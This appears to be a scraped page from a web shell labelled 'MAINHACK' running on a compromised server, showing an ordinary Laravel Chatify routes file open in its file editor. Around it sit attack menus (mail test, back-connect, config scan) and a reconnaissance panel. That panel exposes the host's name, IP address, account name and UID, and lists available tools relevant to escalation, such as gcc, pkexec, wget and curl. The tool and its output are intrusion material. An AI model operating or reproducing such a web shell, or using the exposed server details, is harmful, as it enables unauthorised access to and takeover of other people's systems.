[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: web.php
<?php /** * ----------------------------------------------------------------- * NOTE : There is two routes has a name (user & group), * any change in these two route's name may cause an issue * if not modified in all places that used in (e.g Chatify class, * Controllers, chatify javascript file...). * ----------------------------------------------------------------- */ use Illuminate\Support\Facades\Route; /* * This is the main app route [Chatify Messenger] */ Route::get('/', 'MessagesController@index')->name(config('chatify.routes.prefix')); /** * Fetch info for specific id [user/group] */ Route::post('/idInfo', 'MessagesController@idFetchData'); /** * Send message route */ Route::post('/sendMessage', 'MessagesController@send')->name('send.message'); /** * Fetch messages */ Route::post('/fetchMessages', 'MessagesController@fetch')->name('fetch.messages'); /** * Download attachments route to create a downloadable links */ Route::get('/download/{fileName}', 'MessagesController@download')->name(config('chatify.attachments.download_route_name')); /** * Authentication for pusher private channels */ Route::post('/chat/auth', 'MessagesController@pusherAuth')->name('pusher.auth'); /** * Make messages as seen */ Route::post('/makeSeen', 'MessagesController@seen')->name('messages.seen'); /** * Get contacts */ Route::get('/getContacts', 'MessagesController@getContacts')->name('contacts.get'); /** * Update contact item data */ Route::post('/updateContacts', 'MessagesController@updateContactItem')->name('contacts.update'); /** * Star in favorite list */ Route::post('/star', 'MessagesController@favorite')->name('star'); /** * get favorites list */ Route::post('/favorites', 'MessagesController@getFavorites')->name('favorites'); /** * Search in messenger */ Route::get('/search', 'MessagesController@search')->name('search'); /** * Get shared photos */ Route::post('/shared', 'MessagesController@sharedPhotos')->name('shared'); /** * Delete Conversation */ Route::post('/deleteConversation', 'MessagesController@deleteConversation')->name('conversation.delete'); /** * Delete Message */ Route::post('/deleteMessage', 'MessagesController@deleteMessage')->name('message.delete'); /** * Update setting */ Route::post('/updateSettings', 'MessagesController@updateSettings')->name('avatar.update'); /** * Set active status */ Route::post('/setActiveStatus', 'MessagesController@setActiveStatus')->name('activeStatus.set'); /* * [Group] view by id */ Route::get('/group/{id}', 'MessagesController@index')->name('group'); /* * user view by id. * Note : If you added routes after the [User] which is the below one, * it will considered as user id. * * e.g. - The commented routes below : */ // Route::get('/route', function(){ return 'Munaf'; }); // works as a route Route::get('/{id}', 'MessagesController@index')->name('user'); // Route::get('/route', function(){ return 'Munaf'; }); // works as a user id
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.42 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002